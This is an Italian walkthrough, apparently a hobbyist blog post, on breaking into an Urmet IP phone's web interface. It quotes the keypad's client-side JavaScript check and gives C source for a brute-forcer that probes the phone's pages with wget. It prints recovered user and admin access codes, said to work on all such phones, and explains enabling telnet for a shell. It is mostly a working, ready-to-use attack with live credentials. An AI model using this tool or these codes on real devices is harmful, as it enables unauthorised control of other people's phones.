apriamo il browser all'indirizzo http://192.168.1.2:8080/ e vedremmo una pagina di login molto scarna, probabilmente l'interfaccia web e` stata fatta per il debug e usata solo dagli addetti ai lavori (e da noi!!)
Viene visualizzata una pagina con un un tastierino numerico su cui dovremmo inserire un codice per avere l'accesso
A prima vista non mi da l'impressione di essere il massimo della sicurezza.
Dando un occhiata ai sorgenti riusciamo a capire che ogni volta che premiamo un bottone con una cifra viene invocata la funzione JavaScript Enter_code()
var usermulcode = 24 var code = 0 var mul = 1 var digit = 0 var fails = 0
function Enter_code(number) { code = code * 10 + number mul = mul * number document.codepad.thecode.value = code digit++
if (digit == 8) {
if (mul == 40320) {
location = code + ".html"
}
if (mul == 11907) {
location = "Admin" + code + ".html"
}
else {
fails++
code = 0
mul = 1
digit = 0
if (fails < 3) {
if (fails == 1) {
document.codepad.thecode.value = "Try again"
}
if (fails == 2) {
document.codepad.thecode.value = "Last Time"
}
}
else {
location = "http://www.urmet.it"
document.codepad.thecode.value = "Bye!"
}
}
}
}
Osservando il codice riusciamo a farci un idea del funzionamento. Abbiamo 3 tentativi dopodiche` verremmo rediretti sul sito della Urmet. Il codice da inserire e` lungo 8 cifre, possiamo accedere con due codici, uno ci da l'accesso di amministratore ed un'altro da utente normale. La url che viene aperta inserendo il codice corretto e` formata dal codice stesso quindi se non conosciamo il codice non sappiamo quale sia. Applicando una funzione matematica sulle sue cifre del codice da` come risultato 40320 per l'accesso come utente e 11907 come amministratore.
Un'altra cosa che possiamo capire dal JavaScript e` che il calcolo del codice considera le cifre digitate sul tastierino ma non l'ordine in cui vengono digitate quindi esistono piu` codici che permettono di accedere ma solo uno e` quello giusto, con tutti gli altri il server ci rispondera` con un errore 404 (page not found.)
int user_access, admin_access, n_digits; char ip[256], *sCode;
int finded_user = 0, finded_admin = 0;
long calcola_mul(int *digits) { int i, code = 0; long mul = 1;
for (i = 0; i < n_digits; i++) { code = code * 10 + digits[i]; mul = mul * digits[i]; }
return mul; }
void stampav(int *digits) { int i; for (i = 0; i < n_digits; i++) printf("%d ", digits[i]); printf("n"); }
char *stampaCode(int *digits) { int i; for (i = 0; i < n_digits; i++) sCode[i] = digits[i] + '0';
return sCode; }
void backtrack(int *v, int i) { long mul; int c; char cmd[256];
if (i >= n_digits) { /* fine della ricorsione */ mul = calcola_mul(v); if (finded_user == 0 && mul == user_access) { sprintf(cmd, "wget -q -O - http://%s/%s.html > /dev/null", ip, stampaCode(v)); if (system(cmd) == 0) { printf("User access code: "); stampav(v); finded_user = 1; } return; }
if (finded\_admin == 0 && mul == admin\_access) {
sprintf(cmd, "wget -q -O - http://%s/Admin%s.html > /dev/null",
ip, stampaCode(v));
if (system(cmd) == 0) {
printf("Admin access code: ");
stampav(v);
finded\_admin = 1;
}
return;
}
return;
}
for (c = 1; c <= 9; c++) { if (finded_admin && finded_user) return; v[i] = c; backtrack(v, i + 1); } }
int main(int argc, char *argv[]) { int *digits;
if (argc != 4 && argc != 5) { printf("Usage: %s []n", argv[0]); return 1; }
strcpy(ip, argv[1]); n_digits = atoi(argv[2]); user_access = atoi(argv[3]);
if (argc == 5) admin_access = atoi(argv[4]); else finded_admin = 1;
digits = (int *)malloc(n_digits * sizeof(int)); sCode = (char *)malloc(n_digits * sizeof(char));
backtrack(digits, 0);
free(digits); free(sCode); return 0; }
Dopo averlo compilato possiamo lanciarlo e il programma stamperà i codici di accesso a video. $ ./access 192.168.1.2:8080 8 40320 11907 User access code: 1 2 3 4 5 6 7 8 Admin access code: 1 9 7 1 1 3 9 7
I telefoni dovrebbero essere tutti uguali quindi questi codici dovrebbero permettere l'accesso a tutti quanti. Ho provato anche un altro telefono con una versione del software differente, in quel caso le cifre del codice erano 10 anziché 8 ed esisteva solo l'utente amministratore, in quel caso il codice era 1 9 7 1 1 3 9 7 2 7.
Ora possiamo variare la configurazione del telefono a nostro piacimento. Dall'interfaccia web clicchiamo sul bottone "System Information" e poi ancora su "Optional Net Services", in questo modo sul telefono verrà avviato un server telnet a cui possiamo collegarci semplicemente con il comando telnet 192.168.1.2 23
ottenendo una bellissima shell.
Buon divertimento.